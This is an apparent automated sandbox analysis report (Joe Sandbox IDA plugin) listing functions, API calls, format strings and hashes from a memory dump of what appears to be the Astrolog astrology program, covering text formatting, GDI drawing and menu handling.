Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$CapsDeviceModePageTextViewportWindow$ColorObjectSelectStart__output_l_fprintf
String ID: %2d$%c%c%c$%s%5d$-- $--%c
API String ID: 1965748296-3637403528
Opcode ID: 4c6ffc546733547e42d049819b78c57a2b6150d635b82f8dedb335c9ddc47b2b
Instruction ID: b93776c4c68e9efa17ad9c3fe5292ebf71f005ad8bd6263270ad30ea7723d4df
Opcode Fuzzy Hash: 4c6ffc546733547e42d049819b78c57a2b6150d635b82f8dedb335c9ddc47b2b
Instruction Fuzzy Hash: D9512773A0C5145B9B35E7ACCA8799E73F1AB56318B220E36E42397FC0DB259D85C6C0

Function 6C811EC9 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 137COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C811F2C
_sprintf.LIBCMT ref: 6C811FBF
_sprintf.LIBCMT ref: 6C81203C

Part of subcall function 6C8214FC: TextOutA.GDI32(-00000005,00000017,?,00000001,00000001), ref: 6C8215C4
Part of subcall function 6C8214FC: EndPage.GDI32(00000000), ref: 6C821684
Part of subcall function 6C8214FC: StartPage.GDI32 ref: 6C821690
Part of subcall function 6C8214FC: SetMapMode.GDI32(00000008), ref: 6C82169E
Part of subcall function 6C8214FC: SetViewportOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216AD
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(0000000A,00000000), ref: 6C8216BC
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(00000008,00000000), ref: 6C8216C7
Part of subcall function 6C8214FC: SetViewportExtEx.GDI32(00000000,?,00000000), ref: 6C8216D0
Part of subcall function 6C8214FC: SetWindowOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216DF

Strings

No aspects in list., xrefs: 6C811EEE
Sum power: %.2f - Average power: %.2f, xrefs: 6C811F26
%.3s:%3d, xrefs: 6C812036
Y, xrefs: 6C812055
, xrefs: 6C811F9A, 6C81201C
%s:%3d, xrefs: 6C811FB9

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$CapsDevicePageViewport$ModeStartTextWindow
String ID: $%.3s:%3d$%s:%3d$No aspects in list.$Sum power: %.2f - Average power: %.2f$Y
API String ID: 2093457147-2556395577
Opcode ID: c68a34969b19590570f246b599deb16c48f0d6e134b862e3dc3ab6be903ab15d
Instruction ID: 08aa9e82672aaf3520264434432ef71dc679bedd498a293e8149ce8845ff28c4
Opcode Fuzzy Hash: c68a34969b19590570f246b599deb16c48f0d6e134b862e3dc3ab6be903ab15d
Instruction Fuzzy Hash: 7C41B275D0824D8BCB20DFE9C6496DDB7B1AF01308F604939D469ABF84CB39D989CB51

Function 6C821F74 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 77COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6C821FBC
_sprintf.LIBCMT ref: 6C821FFB
__floor_pentium4.LIBCMT ref: 6C82201A
_sprintf.LIBCMT ref: 6C822038
_sprintf.LIBCMT ref: 6C822064

Strings

%3d%c%02d', xrefs: 6C821FF1
%7.3f, xrefs: 6C822053
%10.6f, xrefs: 6C82205A
%02d", xrefs: 6C82202E

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$__floor_pentium4
String ID: %02d"$%10.6f$%3d%c%02d'$%7.3f
API String ID: 175470247-3464643819
Opcode ID: 61366f2f7a004dbcc8a02751c98c26550acde26fc5bdde1adb5cda131dc3eeda
Instruction ID: db1e84daad00dc7395b8fb2a44659d0a23dc2d791c4ee82116a5309377601f75
Opcode Fuzzy Hash: 61366f2f7a004dbcc8a02751c98c26550acde26fc5bdde1adb5cda131dc3eeda
Instruction Fuzzy Hash: D42103B1515808F6CF301F99EA0EBED7F74EB46309F224DA5E09441E40CF398598C392

Function 6C85E94B Relevance: 15.1, APIs: 10, Instructions: 84windowCOMMON

Download Yara Rule

APIs

CheckMenuItem.USER32(?,00009C8C,00000000), ref: 6C85E969
CheckMenuItem.USER32(?,00009C74,00000000), ref: 6C85E97D
CheckMenuItem.USER32(?,00009C8A,00000000), ref: 6C85E991
CheckMenuItem.USER32(?,00009C89,00000000), ref: 6C85E9A5
CheckMenuItem.USER32(?,00009C84,00000000), ref: 6C85E9B9
CheckMenuItem.USER32(?,00009C86,00000000), ref: 6C85E9CD
CheckMenuItem.USER32(?,00009C88,00000000), ref: 6C85E9E1
CheckMenuItem.USER32(00000000,00009C8A,00000000), ref: 6C85EAFC
TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 6C85EB0F
DestroyMenu.USER32(00000000), ref: 6C85EB16

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Menu$CheckItem$DestroyPopupTrack
String ID:
API String ID: 3720256419-0
Opcode ID: c9b2015663c8596729a09a099dba397101702a9554b129f650fa35730f065982
Instruction ID: dc3e4da61de99ac729fa4721c44cd4b92ae10853393c3570108590b71814be2b
Opcode Fuzzy Hash: c9b2015663c8596729a09a099dba397101702a9554b129f650fa35730f065982
Instruction Fuzzy Hash: 5C1184723E44157FEB214B7ADD47EAB76E8EB9BB0DF044221B521D61C1CA6CC901C994

Function 6C816B34 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 241COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6C816B68
_sprintf.LIBCMT ref: 6C816D4C
_sprintf.LIBCMT ref: 6C816E08
_sprintf.LIBCMT ref: 6C816E34

Strings

%4d: , xrefs: 6C816D46
%02d", xrefs: 6C816E2E
-%4d%c%02d', xrefs: 6C816E02
degree span., xrefs: 6C816E45

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$_memset
String ID: degree span.$%02d"$%4d: $-%4d%c%02d'
API String ID: 2003622500-3050636250
Opcode ID: 9087a1fbce30d35779737c1bc80e4eda1568c050e6a0cd98798b24c8241235d4
Instruction ID: c9e1d87b5d8375e6fe1fb7763cbcc3bdd3039aa1fdfb699164d85d65a8ffdee5
Opcode Fuzzy Hash: 9087a1fbce30d35779737c1bc80e4eda1568c050e6a0cd98798b24c8241235d4
Instruction Fuzzy Hash: 7C91E0B161C7029BD724CF28C58596ABBF4FF85318F210E6EE4D182BA0DB35D948CB52

Function 6C846ABB Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 220COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 6C846B25
_calloc.LIBCMT ref: 6C846B38

Strings

.;C:\Astrolog\, xrefs: 6C846AF0, 6C846AF5, 6C846C74
eop_1962_today.txt, xrefs: 6C846AFA
eop_finals.txt, xrefs: 6C846C79

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _calloc
String ID: .;C:\Astrolog\$eop_1962_today.txt$eop_finals.txt
API String ID: 1679841372-2772144381
Opcode ID: 19a4c2f64b737e23244cd713aaa75aa3a061123a713377aff887866ce76012c2
Instruction ID: 5bfc010d0324b733e5113db184e134058ecfb90e90e31479ad4ba3cdb81ea987
Opcode Fuzzy Hash: 19a4c2f64b737e23244cd713aaa75aa3a061123a713377aff887866ce76012c2
Instruction Fuzzy Hash: D081D071D0462C9BCF349B18DE45BC9B7B4FB16314F2089E9D198A2A80DF794AD4CF84

Function 6C87E531 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 6C87E5BE
CreateSolidBrush.GDI32(00000000), ref: 6C87E74F
SelectObject.GDI32(00000000), ref: 6C87E767
Ellipse.GDI32(00000000,00000000,6C86D9B6,00000001), ref: 6C87E77C
GetStockObject.GDI32(00000005), ref: 6C87E784
SelectObject.GDI32(00000000), ref: 6C87E791
DeleteObject.GDI32 ref: 6C87E799

Part of subcall function 6C878DF7: _fprintf.LIBCMT ref: 6C878E10

Part of subcall function 6C878DC8: _fprintf.LIBCMT ref: 6C878DDC

Part of subcall function 6C878E1F: _fprintf.LIBCMT ref: 6C878E43
Part of subcall function 6C878E1F: _fprintf.LIBCMT ref: 6C878E6A

Strings

%d %d %d %d ef, xrefs: 6C87E5B3

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _fprintf$Object$Select$BrushCreateDeleteEllipseSolidStock
String ID: %d %d %d %d ef
API String ID: 393637015-816387140
Opcode ID: a4cac1381ab5aeda982f56e5db8f992933cbd7cbfd825389f17c76a1fa5d4bdd
Instruction ID: 9df09d0b351a324df92cedcad0db8cf374e307d477c5f0e563f353ffcafa82b8
Opcode Fuzzy Hash: a4cac1381ab5aeda982f56e5db8f992933cbd7cbfd825389f17c76a1fa5d4bdd
Instruction Fuzzy Hash: 1471B172A00209AFCF34CFADDA449DD77B6FF4A358F144826E924A7640E735AD50CBA0

Function 6C87D580 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 190windowCOMMON

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 6C87D684
CreateSolidBrush.GDI32(?), ref: 6C87D738
SelectObject.GDI32(00000000), ref: 6C87D750
PatBlt.GDI32(00000004,?,?,00000001,00F00021), ref: 6C87D774
GetStockObject.GDI32(00000005), ref: 6C87D77C
SelectObject.GDI32(00000000), ref: 6C87D789
DeleteObject.GDI32 ref: 6C87D791

Strings

%d %d %d %d rf, xrefs: 6C87D679

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Object$Select$BrushCreateDeleteSolidStock_fprintf
String ID: %d %d %d %d rf
API String ID: 3859864033-700490161
Opcode ID: 569c1483971970525952d9d995552d41f324c290c0fc2906e9d85467fc38b99a
Instruction ID: ae0025ec9d1c9bdee9e819f7729af63627723800c3f995d8e0ba615b19883f35
Opcode Fuzzy Hash: 569c1483971970525952d9d995552d41f324c290c0fc2906e9d85467fc38b99a
Instruction Fuzzy Hash: 7F5191727041059FDF348E2EDE8999D3B76E7873A8709493BE919C7640E635AC44CBA0

Function 6C822FEC Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

Part of subcall function 6C821AD3: SetTextColor.GDI32(00000000), ref: 6C821B19

_sprintf.LIBCMT ref: 6C8230BC
_sprintf.LIBCMT ref: 6C823121
_sprintf.LIBCMT ref: 6C823144
_sprintf.LIBCMT ref: 6C82316F

Strings

This person, xrefs: 6C823090, 6C823095
their %s., xrefs: 6C82313E
%s %s %s: %s's, xrefs: 6C8230B6
%s., xrefs: 6C823169

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$ColorText
String ID: %s %s %s: %s's$%s.$This person$their %s.
API String ID: 777165778-500940785
Opcode ID: 3ae4b0d69e83fcb1eade8913b5a88f3745a761f9f7791aba7afb47db3791dcf6
Instruction ID: 2535add1b7d05d3a6dc9e59b005cc6b288c56385617ae0d6ab016e009a107cc3
Opcode Fuzzy Hash: 3ae4b0d69e83fcb1eade8913b5a88f3745a761f9f7791aba7afb47db3791dcf6
Instruction Fuzzy Hash: 8341D6B1A001149FDB30DF1CCE96FD9B7BAAB15308F544CA5E14497B50DBB8AEC48B80

Function 6C821AD3 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(00000000), ref: 6C821B19
_sprintf.LIBCMT ref: 6C821B63
_sprintf.LIBCMT ref: 6C821BA8
_sprintf.LIBCMT ref: 6C821BF0

Strings

, xrefs: 6C821BEA
%c;%d, xrefs: 6C821BA2
, xrefs: 6C821BCC
%c[, xrefs: 6C821B5D

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$ColorText
String ID: %c;%d$%c[$$
API String ID: 777165778-223735395
Opcode ID: f0aad73247f866770e03f037e9575cde5b022687ffc38c84056b1370ac7c9247
Instruction ID: f205e8ecee7708ee609af3407a965db8a47014cd59c67c39b90f22fa33fabc21
Opcode Fuzzy Hash: f0aad73247f866770e03f037e9575cde5b022687ffc38c84056b1370ac7c9247
Instruction Fuzzy Hash: 1431BB77A061046BDB31DBA9CB4BAC9B3749702718F310925D811ABF90E779DD88CBC1

Function 6C812975 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C8129E6
_sprintf.LIBCMT ref: 6C812A10
_sprintf.LIBCMT ref: 6C812A66

Part of subcall function 6C8214FC: TextOutA.GDI32(-00000005,00000017,?,00000001,00000001), ref: 6C8215C4
Part of subcall function 6C8214FC: EndPage.GDI32(00000000), ref: 6C821684
Part of subcall function 6C8214FC: StartPage.GDI32 ref: 6C821690
Part of subcall function 6C8214FC: SetMapMode.GDI32(00000008), ref: 6C82169E
Part of subcall function 6C8214FC: SetViewportOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216AD
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(0000000A,00000000), ref: 6C8216BC
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(00000008,00000000), ref: 6C8216C7
Part of subcall function 6C8214FC: SetViewportExtEx.GDI32(00000000,?,00000000), ref: 6C8216D0
Part of subcall function 6C8214FC: SetWindowOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216DF

Strings

Average span:%4d%c%02d', xrefs: 6C8129E0
No midpoints in list., xrefs: 6C81298B
%02d", xrefs: 6C812A0A
%.3s:%3d, xrefs: 6C812A60
, xrefs: 6C812A3D

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$CapsDevicePageViewport$ModeStartTextWindow
String ID: $%.3s:%3d$%02d"$Average span:%4d%c%02d'$No midpoints in list.
API String ID: 2093457147-2705118303
